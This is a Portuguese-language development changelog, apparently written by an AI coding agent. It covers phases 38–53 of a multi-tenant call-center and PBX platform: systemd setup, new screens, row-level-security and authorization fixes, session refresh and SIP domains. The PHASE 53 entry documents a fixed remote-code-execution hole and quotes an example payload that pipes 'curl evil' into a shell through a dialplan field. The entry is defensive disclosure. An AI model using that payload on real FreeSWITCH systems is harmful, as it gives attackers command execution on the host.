decide a porta antes desse arquivo ser aplicado (confirmado: com
|
||
`.env.local` sozinho, ainda aparecia "Port 3000 is in use, using
|
||
3001" mesmo com `.env.local` correto). Só `Environment=`/uma
|
||
variável de ambiente real do processo funciona. Documentado no
|
||
README pra não recair no mesmo engano depois.
|
||
- [x] Rodam em modo dev (`pnpm dev`), não build de produção — decisão
|
||
deliberada (`README.md` explica: mudar pra `next build`/`tsc &&
|
||
node dist` é escopo de "ir pra produção", não de "sobreviver a
|
||
reboot"), documentada explicitamente em vez de fingir que já é
|
||
produção.
|
||
- [x] Testado ponta a ponta: parado os processos manuais, instalado e
|
||
habilitado as duas units, `systemctl start` na ordem api→frontend
|
||
(a ordem já não importa mais, mas testado assim mesmo) — os dois
|
||
subiram na porta certa sem nenhum fallback nem crash, `journalctl
|
||
-u` confirma logs limpos com `SyslogIdentifier`, smoke test de
|
||
regressão nas 19 telas do tenant + platform via os processos
|
||
supervisionados por systemd, todas 200.
|
||
- [x] **Achado incidental, explica uma flakiness recorrente do próprio
|
||
processo de teste desta sessão inteira**: `journalctl` confirmou
|
||
rotas do Next.js dev levando 10-15s pra compilar na primeira visita
|
||
(`Compiled /platform/billing/tarifas in 11.9s`) — a causa real dos
|
||
vários `TimeoutError` de navegação do Puppeteer vistos ao longo de
|
||
várias fases anteriores, sempre contornados com um retry simples.
|
||
Não é um bug, é o modo dev do Next.js funcionando como esperado;
|
||
registrado na memória do projeto pra não investigar de novo à toa
|
||
numa sessão futura.
|
||
- [ ] Não testado com um reboot de verdade da VM (deliberadamente evitado
|
||
— reboot é uma ação disruptiva demais pra essa sessão confirmar
|
||
sozinha); `systemctl is-enabled` confirma que as units estão
|
||
registradas pra iniciar no boot, o que é a garantia que o systemd
|
||
oferece, mas o cenário completo (Docker + Postgres/Redis prontos +
|
||
as duas units subindo depois) nunca foi observado de ponta a ponta
|
||
numa reinicialização real
|
||
- [ ] `apps/api`/`apps/frontend` continuam sem HTTPS/domínio próprio
|
||
(nginx, pendência original da PHASE 01) — o acesso de teste
|
||
continua direto na porta 3001 da VM
|
||
|
||
## PHASE 39 — Frontend: Discador > Leads (tela dedicada)
|
||
(agente.md secao 67-68, 170)
|
||
- [x] `/app/discador/leads` — seletor de campanha (o backend já era
|
||
`GET /campaigns/:campaignId/leads`, escopado por campanha desde a
|
||
PHASE 15, sem endpoint "todos os leads de todas as campanhas" — não
|
||
faz sentido ter um, `Lead.campaignId` é obrigatório), busca por
|
||
telefone/nome client-side, adicionar lead individual (mesmo `POST`
|
||
já usado pelo wizard), remover com confirmação de 2 cliques. A
|
||
prévia de 20 leads dentro do detalhe da campanha (PHASE 26) já
|
||
apontava pra cá ("a lista completa vive em Discador > Leads") — só
|
||
faltava a tela existir.
|
||
- [x] `LEAD_STATUS_LABELS` novo (16 valores do enum) — badge própria, sem
|
||
reusar `StatusBadge` (mesma cautela de gênero já aplicada em
|
||
`AgentStateBadge`/`TenantStatusBadge`: `READY`/`FAILED`/`COMPLETED`
|
||
colidiriam com rótulos de campanha que não fazem sentido pra um
|
||
lead individual).
|
||
- [x] Testado ponta a ponta contra a API real: criada uma campanha de
|
||
teste (`Campanha Teste Leads`, DRAFT) só pra ter um `campaignId`
|
||
válido, 3 leads adicionados (2 via API, 1 via UI), busca por nome
|
||
filtrando corretamente pra 1 resultado, remoção confirmada (3 → 2
|
||
leads, `DELETE` retornando 204). Smoke test de regressão nas 19
|
||
telas do tenant + platform, todas 200 — desta vez sem nenhum
|
||
timeout de navegação no meio do caminho (rotas já compiladas de
|
||
passadas anteriores, consistente com o achado da PHASE 38 sobre
|
||
compile-on-first-visit do modo dev).
|
||
- [ ] "Importações" e "Callbacks" continuam "em breve" — Importações é
|
||
CSV em lote, que já existe dentro do wizard/detalhe da campanha
|
||
(PHASE 26), uma tela separada só faria sentido com histórico de
|
||
importações persistido (não existe hoje, cada import é só um
|
||
resumo devolvido na hora, não uma linha salva); Callbacks depende
|
||
de `Lead.status = CALLBACK` + `nextAttemptAt`, que o
|
||
`PredictiveDialerEngine` já popula (PHASE 16) mas sem tela nenhuma
|
||
pra visualizar/gerenciar ainda
|
||
|
||
## PHASE 40 — Administração > Configurações (tenant) + últimos gaps de
|
||
Usuários (agente.md secao 169)
|
||
- [x] `GET/PATCH /tenant-settings`: self-service do próprio tenant — só
|
||
lê/escreve `user.tenantId` das claims, nunca aceita um tenantId
|
||
arbitrário no path/body, então não existe forma de um Tenant Admin
|
||
mexer em outro tenant por aqui (diferente de `TenantsController`,
|
||
que é platform-only). Editável: nome fantasia, CNPJ/CPF, fuso,
|
||
idioma, privacidade de IA. Somente leitura: razão social, código,
|
||
plano, status, moeda, domínio de telefonia (controlados pela
|
||
plataforma)
|
||
- [x] Tela `/app/administracao/configuracoes` — formulário + bloco
|
||
read-only, mesmo padrão visual das outras telas de Administração
|
||
- [x] `DELETE /users/:id` — remove só a membership+role do tenant (nunca
|
||
a conta `User`, que pode ter acesso a outros tenants). Duas
|
||
proteções novas (nenhuma existia antes): não deixa remover a si
|
||
mesmo, e não deixa remover/rebaixar o último Tenant Admin do tenant
|
||
(`isLastTenantAdmin`, aplicado também em `PATCH /users/:id/role`) —
|
||
sem isso um tenant podia ficar sem ninguém que pudesse gerenciar
|
||
usuários
|
||
- [x] achado real: o primeiro `remove()` usava
|
||
`prisma.$transaction([...])` (forma array) pra apagar
|
||
`tenantMembership` — como essa tabela tem FORCE RLS (secao 32) e a
|
||
forma array não abre uma transação com `app.current_tenant_id`
|
||
setado, o Prisma devolvia P2025 ("not found") mesmo com a linha
|
||
existindo (500 pro cliente). Mesma classe de bug já corrigida antes
|
||
em `TenantsController.create`. Corrigido trocando pra
|
||
`$transaction(async (tx) => ...)` com `set_config` explícito antes
|
||
do delete — testado removendo de verdade um usuário de teste
|
||
(invite → demote self (2 admins) → remove → 204 → sumiu da lista)
|
||
- [x] Testado ponta a ponta: GET/PATCH tenant-settings via curl e via UI
|
||
(nome fantasia editado, sidebar atualiza na hora), proteção de
|
||
último-admin confirmada nos dois endpoints (403 nos dois), convite +
|
||
remoção de um admin temporário confirmados
|
||
|
||
## PHASE 41 — Discador > Callbacks (agente.md secao 78-79, 169)
|
||
- [x] `GET /leads/callbacks` (tenant-wide, todas as campanhas) +
|
||
`PATCH /leads/callbacks/:id` com 3 ações: `RESCHEDULE` (nova data,
|
||
rejeitada se não for no futuro), `REQUEUE` (volta pra `READY`,
|
||
dialer pega de novo sem esperar), `CANCEL` (`DO_NOT_CALL`) — só
|
||
atua sobre leads que ainda estão em `CALLBACK` (RLS +
|
||
`withTenantContext`, mesmo padrão já auditado)
|
||
- [x] Tela `/app/discador/callbacks` — lista com nome da campanha,
|
||
telefone, tentativas, "remarcado para" com date-time picker inline
|
||
- [x] "Importações" removido do menu (nunca virou tela real, decisão já
|
||
registrada na PHASE 39: CSV em lote já existe no wizard e no
|
||
detalhe da campanha, uma tela separada só faria sentido com
|
||
histórico de import persistido, que não existe) — mesmo princípio
|
||
já usado em Monitoramento (secao 168-169): não deixar link pra
|
||
"em breve" quando a funcionalidade de verdade já está em outro
|
||
lugar
|
||
- [x] Testado ponta a ponta: lead de teste forçado pra `CALLBACK` via SQL
|
||
direto (não existe fluxo de produto pra chegar nesse estado sem o
|
||
dialer rodando uma chamada real), reagendamento rejeitado pro
|
||
passado (400), aceito pro futuro (200), requeue confirmado (sai da
|
||
lista de callbacks, volta pra `READY`), lead de teste removido no
|
||
final
|
||
|
||
## PHASE 42 — Relatórios > Consumo (tenant, agente.md secao 131-132, 169)
|
||
- [x] `GET /reports/consumo` — lê os 2 ledgers imutáveis (`UsageEvent` +
|
||
`AIUsageRecord`, os mesmos que o RatingEngine usa pra faturar) e
|
||
agrega por meter/tipo no período (default: mês corrente). Nunca
|
||
calcula valor em dinheiro — só quantidade bruta (chamadas, minutos,
|
||
dias ativos, bytes, tokens), decisão deliberada pra não duplicar o
|
||
trabalho do RatingEngine fora dele (docs/BILLING.md). Também
|
||
devolve os limites do plano (`maxMonthlyCalls`/
|
||
`maxRecordingStorageGb`) pra comparação lado a lado
|
||
- [x] Tela `/app/relatorios/consumo` — reaproveita `InstrumentTile` (o
|
||
mesmo mostrador do dashboard), zeros honestos em vez de esconder
|
||
seção
|
||
- [x] Testado ponta a ponta: curl retornou os números reais do tenant
|
||
Acme (2 dias-tronco já ledgerados, resto zerado — nenhuma chamada
|
||
rodou ainda neste tenant), tela renderizando os mesmos números
|
||
|
||
## PHASE 43 — Platform > Clientes > Assinaturas/Quotas (agente.md secao
|
||
126-127, 169) + achado real no dashboard de plataforma
|
||
- [x] achado real (não relacionado às telas novas, achado revisando
|
||
`PlatformOverviewController` antes de escrever a versão platform-wide
|
||
de `/reports/consumo`): `aiUsageThisMonth` e `recordingStorageBytes`
|
||
no dashboard "Visão Geral" SEMPRE devolviam zero/vazio, não importa
|
||
quanto uso real existisse — `ai_usage_records`/`recordings` têm
|
||
FORCE RLS (secao 32) e o código rodava `prisma.aIUsageRecord.groupBy`/
|
||
`prisma.recording.aggregate` direto, sem nenhum `app.current_tenant_id`
|
||
setado, então a policy nega tudo silenciosamente (0 linhas, sem
|
||
erro). Mesma classe de bug já corrigida 2x antes nesta sessão
|
||
(`TenantsController.list`, `UsersController.remove`). Corrigido com
|
||
o mesmo padrão (loop `withTenantContext` por tenant, soma no
|
||
código) — confirmado inserindo um `AIUsageRecord` de teste direto no
|
||
Postgres, vendo o número aparecer no endpoint, e removendo o teste
|
||
depois
|
||
- [x] `GET /billing/subscriptions` e `POST /billing/plan-versions` já
|
||
existiam desde a fase Billing (PHASE 22) sem nenhuma tela — só
|
||
faltava o frontend. Tela `/platform/clientes/assinaturas`: escolher
|
||
tenant, ver histórico de assinaturas (versão/preço/vigência/ciclo/
|
||
status), criar uma nova assinatura reaproveitando uma versão de
|
||
preço existente OU criando uma nova na mesma ação (dois preços
|
||
nunca sobrescritos, sempre uma versão nova)
|
||
- [x] `GET /platform/quotas` (novo) — uso vs. limite do plano em TODOS os
|
||
tenants (ramais/agentes/troncos/filas/campanhas/chamadas-mês/
|
||
armazenamento), pra achar quem está perto de estourar sem abrir
|
||
tenant por tenant. Tela `/platform/clientes/quotas` destaca em
|
||
amarelo (>=80%) e vermelho (>=100%), nunca conta "sem limite" como
|
||
estourado
|
||
- [x] Testado ponta a ponta: fluxo completo de criar assinatura via UI
|
||
pro tenant Beta Corp (nova versão de preço R$499,90 + assinatura
|
||
com ciclo dia 15, confirmado na tela e no banco), Quotas mostrando
|
||
os números reais e corretos dos dois tenants de teste (Acme com
|
||
50% de troncos usados, Beta Corp com zero)
|
||
|
||
## PHASE 44 — Platform > Infraestrutura > FreeSWITCH/SIP Profiles/Nodes
|
||
(agente.md secao 168-169)
|
||
- [x] `GET /platform/freeswitch/channels|profiles|nodes` — introspecção
|
||
ESL de verdade (`show channels`/`show calls`/`sofia status`/
|
||
`show registrations`/`status`/`show gateways`), reaproveitando os
|
||
métodos do `FreeSwitchTelephonyProvider` já verificados manualmente
|
||
contra o FreeSWITCH real (`packages/telephony`). Mesmo padrão de
|
||
conexão avulsa do `PlatformHealthController` (connect → comando →
|
||
disconnect, sem manter ESL permanente só pra tela de admin)
|
||
- [x] Nunca deixa a indisponibilidade do ESL virar 500/503 pro cliente —
|
||
devolve `{ ok: false, error }` (200), mesma filosofia do `timed()`
|
||
do health check. Necessário aqui: nesta VM `apps/api` roda fora do
|
||
Docker e a porta 8021 é deliberadamente não publicada no host
|
||
(agente.md secao 184, docker-compose.yml) — as 3 telas SEMPRE vão
|
||
mostrar essa mensagem explicada aqui, mesmo com o endpoint 100%
|
||
funcional (confirmado indiretamente: `b2bcall-fs-events`, que fala
|
||
ESL de dentro da rede Docker, está com heartbeat ativo o tempo
|
||
todo — o FreeSWITCH/ESL está saudável, só inalcançável do host)
|
||
- [x] "Nodes" mostra explicitamente "1 node" (container único, sem
|
||
clustering) em vez de fingir uma lista — mesma decisão já registrada
|
||
pro dashboard de plataforma
|
||
- [x] Testado ponta a ponta: os 3 endpoints via curl (200 com
|
||
`{ok:false, error:"Timeout conectando..."}`) e as 3 telas via
|
||
Puppeteer, mostrando a explicação por que falha aqui (mesmo texto
|
||
já usado em Infraestrutura > Saúde)
|
||
|
||
## PHASE 45 — Platform > IA > Providers/Modelos/Uso/Custos (agente.md
|
||
secao 96-103, 124, 169) + achado real de autorização em `/ai/models`
|
||
- [x] achado real (achado revisando `AIModelsController` antes de
|
||
escrever a tela de Modelos): `POST /ai/models` e `DELETE /ai/models/
|
||
:id` não checavam `isPlatformUser` quando o provider/modelo era
|
||
`scope=GLOBAL` — como a RLS híbrida de `ai_models`/`ai_providers`
|
||
(secao 100, `OR tenant_id IS NULL`) deixa qualquer tenant ENXERGAR
|
||
um provider GLOBAL, qualquer Tenant Admin com a permission
|
||
`ai.manage` (escopo TENANT) conseguia **injetar um modelo no
|
||
catálogo visível por todos os tenants**, ou **desabilitar** um
|
||
modelo GLOBAL só sabendo o id — mesma classe de escalação já
|
||
corrigida em `AgentsController` (PHASE 27) e já prevenida
|
||
corretamente em `AIProvidersController` (o irmão deste controller,
|
||
que já tinha o check certo). Corrigido com o mesmo padrão: 403
|
||
explícito quando o alvo é GLOBAL e quem chama não é platform.
|
||
Confirmado com um teste de ataque de verdade: tenant Acme tentando
|
||
anexar um modelo a um provider GLOBAL (403 depois do fix, 201 antes)
|
||
e apagar um modelo GLOBAL (403 depois, sucesso antes) — e um teste
|
||
de regressão confirmando que Acme continua livre pra gerenciar o
|
||
próprio BYOK
|
||
- [x] Platform > IA > Providers/Modelos reaproveitam os mesmos endpoints
|
||
`/ai/providers`/`/ai/models` já existentes (só filtram scope
|
||
GLOBAL na tela, backend já filtra por RLS+isPlatformUser); Modelos
|
||
expõe os campos de custo unitário (inputCost/outputCost/audioCost)
|
||
que a tela de tenant nunca mostra, porque só platform precisa
|
||
cadastrar preço
|
||
- [x] `GET /platform/ai-usage` (novo) — uso bruto de `AIUsageRecord` de
|
||
TODOS os tenants no mês corrente (Uso) + custo estimado casando
|
||
cada registro com o `AIModel` correspondente por
|
||
`providerId`+`externalModelId` (Custos). Quando não dá pra casar
|
||
(provider apagado, custo nunca cadastrado), aquele registro fica
|
||
de fora da soma e o tenant vem marcado `costIncomplete: true` —
|
||
nunca um número inventado (secao 138/233)
|
||
- [x] Testado ponta a ponta: criado provider GLOBAL + modelo com custo
|
||
real (US$0,00015/tokenin, US$0,0006/tokenout), inserido uso de
|
||
teste direto no Postgres (100k tokens in + 20k out), confirmado
|
||
`/platform/ai-usage` devolvendo US$27,00 exatos (bate com a conta
|
||
manual) e a tela de Custos mostrando o mesmo número — tudo removido
|
||
no final
|
||
|
||
## PHASE 46 — Platform > Billing > Consumo + Sistema > Configurações
|
||
(fecha a lista inteira de "em breve" do menu Platform, agente.md secao
|
||
169)
|
||
- [x] `GET /billing/consumo` — mesma agregação de `/reports/consumo`
|
||
(tenant), só que em loop por todos os tenants (`withTenantContext`
|
||
por tenant, mesmo padrão já usado em Quotas/ai-usage). Nunca
|
||
dinheiro, só quantidade bruta — dinheiro é Billing > Relatórios
|
||
(`BillingStatement`, já existia)
|
||
- [x] `GET /platform/system-config` — Sistema > Configurações nunca teve
|
||
escopo definido na especificação; decisão desta implementação:
|
||
painel **somente leitura** das flags de segurança/infra que já
|
||
existem como variável de ambiente (`DIALER_SIMULATION`/
|
||
`ALLOW_REAL_OUTBOUND_CALLS`, secao 186; ESL configurado; storage
|
||
provider; NODE_ENV), nunca editável por aqui — mudar exige editar
|
||
o `.env` e reiniciar o serviço. Nunca expõe segredo nenhum (senha,
|
||
chave, connection string), só o que já é público conhecimento de
|
||
quem administra a infra
|
||
- [x] Testado ponta a ponta: `/billing/consumo` batendo com os mesmos
|
||
números já vistos em Relatórios > Consumo/Quotas (Acme com 2
|
||
dias-tronco), `/platform/system-config` confirmado mostrando o
|
||
valor real do `.env` (`DIALER_SIMULATION=true`,
|
||
`ALLOW_REAL_OUTBOUND_CALLS=false`, ESL configurado)
|
||
- [x] Com isto, **todo item do menu Platform tem tela real** — zero
|
||
`{ label: "X" }` sem `href` restando em `platform-shell/nav-data.ts`
|
||
(confirmado por grep). O menu Tenant já tinha zerado essa lista na
|
||
PHASE 42
|
||
|
||
## PHASE 47 — Relatórios > Chamadas: filtros completos (agente.md secao
|
||
157)
|
||
- [x] O backend (`CallsController.list`) já aceitava todos os filtros
|
||
(from/to/extensionId/agentId/queueId/campaignId/trunkId/phone/
|
||
hangupCause/dispositionId) desde a fase CDR — só a tela nunca
|
||
expunha o resto além de telefone. Adicionados os 8 campos restantes
|
||
(data de/até como filtro real de período, não só client-side; ramal/
|
||
agente/fila/campanha/tronco/disposição como Select; causa de
|
||
encerramento como texto livre), cada um refletido na querystring
|
||
(`?queueId=...`), mesmo padrão de filtro-via-URL já usado em Leads/
|
||
Callbacks/Assinaturas
|
||
- [x] Testado ponta a ponta: selecionar um filtro de fila navega pra
|
||
`?queueId=<uuid>` e a página server-side já busca com esse filtro
|
||
aplicado (0 chamadas — não existe tráfego real neste tenant ainda,
|
||
resultado honesto)
|
||
|
||
## PHASE 48 — "Itens sem permissão não aparecem" (agente.md secao 169)
|
||
- [x] `getUserPermissionKeys(userId, tenantId?)` (novo, `packages/auth`) —
|
||
todas as permission keys do usuário no contexto atual, mesma query
|
||
de `userHasPermission` só que devolvendo o conjunto inteiro em vez
|
||
de checar uma. `GET /auth/me` agora devolve `permissionKeys` (só
|
||
leitura adicional, não é decisão de autorização — isso continua
|
||
sendo o `PermissionGuard` em cada endpoint, secao 31/146: esconder
|
||
um item de menu nunca substitui o check no backend)
|
||
- [x] `NavLeaf`/`NavSection` ganham campo opcional `permission`; cada um
|
||
dos ~35 itens de menu (tenant e platform) anotado com a permission
|
||
key mínima que o endpoint GET correspondente já exige (ex.: Discador
|
||
usa `campaigns.view`, Administração usa `users.manage`,
|
||
Infraestrutura usa `freeswitch.view`). `filterNavByPermissions()`
|
||
(novo, `nav-types.ts`) esconde o item, ou a seção inteira se
|
||
nenhum filho sobrar
|
||
- [x] achado de arquitetura ao implementar (não um bug, uma restrição já
|
||
documentada): `TenantSidebar`/`PlatformSidebar`/`*Topbar` são
|
||
client components que importam `TENANT_NAV`/`PLATFORM_NAV`
|
||
DIRETO (em vez de receber como prop do server layout) porque os
|
||
ícones (`LucideIcon`, funções) não são serializáveis através da
|
||
fronteira RSC — bug real já documentado desde a PHASE 23. Por isso
|
||
o filtro roda dentro desses wrappers client-side, sobre o array já
|
||
no bundle, recebendo só `permissionKeys: string[]` (serializável)
|
||
como prop
|
||
- [x] Testado ponta a ponta com um supervisor de teste de verdade
|
||
(convidado, senha trocada, logado via UI): menu mostra só Discador/
|
||
Call Center/Telefonia (sem Dialplan, que exige `freeswitch.view` —
|
||
supervisor não tem)/Monitoramento/Gravações/IA/Relatórios — a seção
|
||
Administração inteira some (nenhum dos 3 filhos exige menos que
|
||
`users.manage`). Confirmado que a autorização de verdade continua
|
||
valendo mesmo sem o item no menu: acesso direto a
|
||
`/app/administracao/usuarios` continua batendo 403 no backend.
|
||
Regressão: tenant_admin e platform_super_admin continuam vendo
|
||
TODO item do próprio menu (sem perder nada)
|
||
|
||
## PHASE 49 — Tela de "Trocar senha" no primeiro acesso (agente.md secao
|
||
199) — achado real reportado pelo usuário testando
|
||
- [x] achado real: todo usuário criado (tenant novo em Clientes > Tenants,
|
||
ou convite em Administração > Usuários) nasce com
|
||
`mustChangePassword: true` (secao 199) — mas `POST /api/login`
|
||
simplesmente bloqueava com "use a API /auth/change-password por
|
||
enquanto", sem nenhuma tela pra fazer isso. Todo primeiro login de
|
||
qualquer conta nova batia nessa parede. Descoberto pelo usuário
|
||
tentando logar num tenant que ele mesmo criou
|
||
- [x] Corrigido: `POST /api/login` agora grava o cookie de sessão mesmo
|
||
com `mustChangePassword: true` (única forma de chamar
|
||
`/auth/change-password` autenticado depois) e devolve o flag pro
|
||
client, que manda pra `/trocar-senha` em vez de mostrar erro. Tela
|
||
nova: senha temporária + nova senha (2x, valida no client que
|
||
batem e que tem 12+ caracteres) → `POST /auth/change-password` →
|
||
mesma decisão platform/tenant do login normal (`/api/post-login`,
|
||
reaproveitado)
|
||
- [x] Testado ponta a ponta com um usuário de teste de verdade (convidado,
|
||
nunca logado antes): login → `/trocar-senha` → senha trocada →
|
||
`/app` direto, sem passar pela tela de login de novo. Usuário de
|
||
teste removido no final
|
||
|
||
## PHASE 50 — Branding "B2BCall by Handix" (pedido do usuário: logos novos)
|
||
- [x] Usuário forneceu 3 logos novos na raiz do projeto (`logo_b2bcall_
|
||
horizontal.png`, `logo_b2bcall_quadrado.png`, `Logo_Handix.png`,
|
||
empresa mãe). Processados com `sharp` (trim de whitespace + resize
|
||
pra tamanho web) e salvos em `apps/frontend/public/branding/` como
|
||
`b2bcall-horizontal.png`/`b2bcall-quadrado.png`/`handix-logo.png` —
|
||
o antigo `b2blogo.png` foi substituído (era o mesmo desenho, só com
|
||
mais espaço em branco ao redor)
|
||
- [x] achado ao processar: `Logo_Handix.png` original era RGB (sem canal
|
||
alpha) — fundo branco opaco, não transparente. Aplicado
|
||
`brightness-0 invert` nele (mesmo filtro já usado no logo B2BCall
|
||
pro painel escuro do login) virava um retângulo branco sólido, sem
|
||
nada visível dentro. Corrigido com um script Node usando `sharp`
|
||
pra recolorir pixels próximos de branco (limiar 245) como
|
||
transparentes antes de salvar — resultado com alpha real,
|
||
confirmado lendo os bytes RGBA de um pixel de fundo (0,0,0,0)
|
||
- [x] Sidebar (tenant e platform): ícone quadrado do B2BCall ao lado do
|
||
nome do tenant/"PLATFORM" no cabeçalho (canto superior esquerdo da
|
||
tela) — some junto com o texto quando a sidebar está recolhida,
|
||
mesmo comportamento de antes
|
||
- [x] Topbar: logo da Handix (canto superior direito, com link pra
|
||
www.handix.com.br em nova aba) antes do seletor de tema — escondido
|
||
abaixo de `sm` (mobile) pra não espremer a topbar já apertada
|
||
- [x] Login: "BY HANDIX" abaixo do logo principal do B2BCall no painel de
|
||
marca, e um rodapé com o logo da Handix (versão branca) + link pra
|
||
www.handix.com.br
|
||
- [x] Testado ponta a ponta via Puppeteer: tela de login, dashboard do
|
||
tenant e da plataforma (claro e escuro), sidebar recolhida, drawer
|
||
mobile — logos aparecendo corretos em todos, sem o artefato de
|
||
retângulo branco no Handix
|
||
|
||
## PHASE 51 — Renovação automática de sessão (achado real, reportado pelo
|
||
usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
|
||
- [x] achado real: `ACCESS_TOKEN_TTL = "15m"` (secao 148) e `apiFetch`
|
||
nunca tentava nenhum refresh — qualquer reload (ou até só navegar)
|
||
depois de 15min logado batia 401 em toda Server Component que
|
||
chamasse a API, e o erro (`ApiError` cru, JSON da API) subia sem
|
||
tratamento nenhum até virar a tela de erro genérica do Next.js. Não
|
||
era um caso raro: qualquer sessão de teste mais longa que 15min
|
||
batia nisso
|
||
- [x] `apps/frontend/src/middleware.ts` (novo) — decodifica o `exp` do
|
||
access token guardado no cookie (sem verificar assinatura, só
|
||
leitura — a verificação de verdade continua sendo feita pela API) e,
|
||
se faltar menos de 60s pra vencer, chama `POST /auth/refresh` com o
|
||
refresh token *antes* da Server Component rodar, gravando o cookie
|
||
novo tanto na resposta (`response.cookies`) quanto na própria
|
||
requisição (`request.cookies`, via `NextResponse.next({ request })`)
|
||
— sem isto, a MESMA requisição que disparou o refresh ainda leria o
|
||
cookie velho (padrão documentado do Next.js pra refresh de auth em
|
||
middleware que precisa valer já na requisição atual, não só na
|
||
próxima)
|
||
- [x] Rede de segurança pro caso do refresh token TAMBÉM já ter vencido/
|
||
sido revogado (sessão parada por mais de 30 dias, ou logout em outro
|
||
lugar): `apps/frontend/src/app/error.tsx` (Error Boundary do App
|
||
Router) detecta uma mensagem de sessão expirada/401, desloga
|
||
(`POST /api/logout`) e manda pro `/login` sozinho, em vez de mostrar
|
||
a tela crua "Application error: a server-side exception...". Tem
|
||
que ficar na raiz de `app/`, não dentro de `app/app/` ou
|
||
`app/platform/` — `error.tsx` nunca pega erro do PRÓPRIO layout do
|
||
mesmo segmento (é o layout de `/app`/`/platform` que chama
|
||
`/auth/me` e lança o erro), só de layouts/páginas aninhados abaixo
|
||
(achado testando: o primeiro corte com um `error.tsx` por segmento
|
||
não pegava nada, confirmado só depois de mover pra raiz)
|
||
- [x] Testado ponta a ponta com refresh token de verdade: token forjado
|
||
pra vencer em 20s + refresh token real → renovação automática
|
||
confirmada (token novo no cookie, página protegida carrega normal,
|
||
sem nenhum 401 visível). Com refresh token inválido de propósito →
|
||
confirmado o fallback: erro 500 na resposta inicial (esperado, SSR),
|
||
mas o error boundary do client detecta, desloga e redireciona pro
|
||
login sozinho — sem crash na tela pro usuário
|
||
|
||
## PHASE 52 — Domínio SIP por tenant + grupo de captura + revelar senha
|
||
(achado real detalhado pelo usuário, testando o PABX de verdade)
|
||
- [x] achado real (o mais sério dos três): `TenantsController.create()`
|
||
gravava `telephonyDomain: "b2bcall.local"` fixo pra TODO tenant
|
||
novo — `b2bcall-fs-config` decide qual tenant é dono de um REGISTER
|
||
só pelo domínio (`Tenant.findFirst({ telephonyDomain: domain })`),
|
||
então com todo tenant no mesmo domínio o isolamento de PABX (ramais,
|
||
call groups, filas, IVR) não tinha como funcionar de verdade.
|
||
**Correção**: esta entrada originalmente dizia "nenhuma mudança de
|
||
infra foi necessária", baseado só em testar o `mod_xml_curl` via
|
||
curl direto (que funcionava). Isso era **incompleto** — só um teste
|
||
de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou
|
||
que o sofia profile `internal` TAMBÉM tinha `force-register-domain`
|
||
fixo em `$${domain}`, ignorando o domínio do REGISTER e sempre
|
||
resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer
|
||
domínio real de tenant). Ver PHASE 53 pelo fix completo
|
||
- [x] `Tenant.telephonyDomain` agora é obrigatório e `@unique` (migration
|
||
`20260830140000_tenant_domain_and_call_group`, com backfill:
|
||
tenants existentes ganharam `{code}.b2bcall.net` automaticamente,
|
||
e os `Extension.domain` já criados foram atualizados junto — sem
|
||
isso ficariam com um `<domain>` desatualizado no XML). Tela de
|
||
criação de tenant sugere `{code}.b2bcall.net` ao digitar o código,
|
||
editável antes de criar. Duplicado vira 403 claro
|
||
- [x] `Extension.callGroup` (novo, nullable) — grupo de captura (secao
|
||
178): ramais no mesmo grupo podem atender a chamada um do outro
|
||
(`*8`/group pickup), ramais fora do grupo não. Vira a variable
|
||
`callgroup` no directory XML (**correção**: a versão inicial desta
|
||
entrada dizia `call-group`, com hífen — nome errado, copiado de
|
||
convenção do Asterisk; FreeSWITCH usa `callgroup` sem hífen, lido
|
||
via `${user_data(<ext>@<domain> var callgroup)}`. A confusão de
|
||
mecanismo — achando que a variable sozinha já fazia o pickup
|
||
automático — também estava errada; ver PHASE 53 pelo mecanismo real
|
||
e o dialplan necessário). Editável na criação e depois
|
||
(`PATCH /extensions/:id`, novo)
|
||
- [x] `POST /extensions/:id/reveal-password` (novo) — achado real: "show
|
||
once" puro não funciona no dia a dia de um PABX (reconfigurar um
|
||
telefone físico ou softphone precisa da senha de novo; forçar reset
|
||
toda vez derruba o registro de qualquer aparelho já configurado
|
||
com a senha antiga). `sipPasswordEnc` sempre foi criptografia
|
||
reversível (AES-256-GCM), nunca hash — só não estava exposto.
|
||
Diferente de `reset-password`: nunca troca nada, só decifra a
|
||
atual. Auditado (`EXTENSION_PASSWORD_REVEALED`) por ser sensível
|
||
mesmo sem escrita
|
||
- [x] Tela de criação de ramal ganhou um bloco "Configuração do telefone/
|
||
softphone" (domínio, ramal, proxy=servidor, senha) — os 4 campos
|
||
exatos que o usuário descreveu precisar pra configurar um aparelho
|
||
- [x] `apps/freeswitch-config` reconstruído e reiniciado (mudança de
|
||
schema + lógica) — testado ponta a ponta contra o container REAL:
|
||
criado tenant com domínio próprio + ramal com callGroup, `docker
|
||
exec` no FreeSWITCH chamando `fs-config` direto (mesma rede
|
||
Docker) confirmou (1) senha revelada bate exatamente com a gerada
|
||
na criação, (2) `call-group` aparece no XML, (3) o mesmo número de
|
||
ramal em domínios diferentes NUNCA se confunde (isolamento
|
||
cross-tenant confirmado de verdade, não só por leitura de código)
|
||
|
||
## PHASE 53 — Teste real de captura de chamada (pedido explícito do
|
||
usuário: "testa criando um ramal com callgroup e captura chamada de outro
|
||
ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como
|
||
resolvidos sem nunca registrar um SIP de verdade
|
||
- [x] **achado real #1 (crítico, segurança)**, achado pesquisando o
|
||
mecanismo certo de pickup antes de implementar o dialplan: o
|
||
allowlist de `application` (`ALLOWED_DIALPLAN_APPLICATIONS`) nunca
|
||
bloqueava `${nome(args)}` (chamada de API do FreeSWITCH) embutida
|
||
dentro do `data` de uma application já permitida como `set`/
|
||
`export`/`playback`. FreeSWITCH expande isso em tempo de chamada, e
|
||
`mod_commands` (carregado nesta implantação) registra as APIs
|
||
`system`/`bg_system` — **RCE completo no host do FreeSWITCH**,
|
||
alcançável por qualquer Tenant Admin com `freeswitch.configure`
|
||
(ex.: `{"application":"set","data":"x=${system(curl evil|sh)}"}`).
|
||
Corrigido: `ALLOWED_INLINE_API_FUNCTIONS` (novo,
|
||
`packages/telephony/src/dialplan-xml.ts`) +
|
||
`findDisallowedInlineFunctionCalls()` + `IsSafeDialplanData` (novo,
|
||
`apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts`,
|
||
aplicado em `ActionDto.data`) bloqueiam qualquer `${nome(...)}` fora
|
||
de um allowlist de leitura (`user_data`, `escape`, `url_encode`,
|
||
`url_decode`, `regex`, `strftime`) — `${variavel}` sem parênteses
|
||
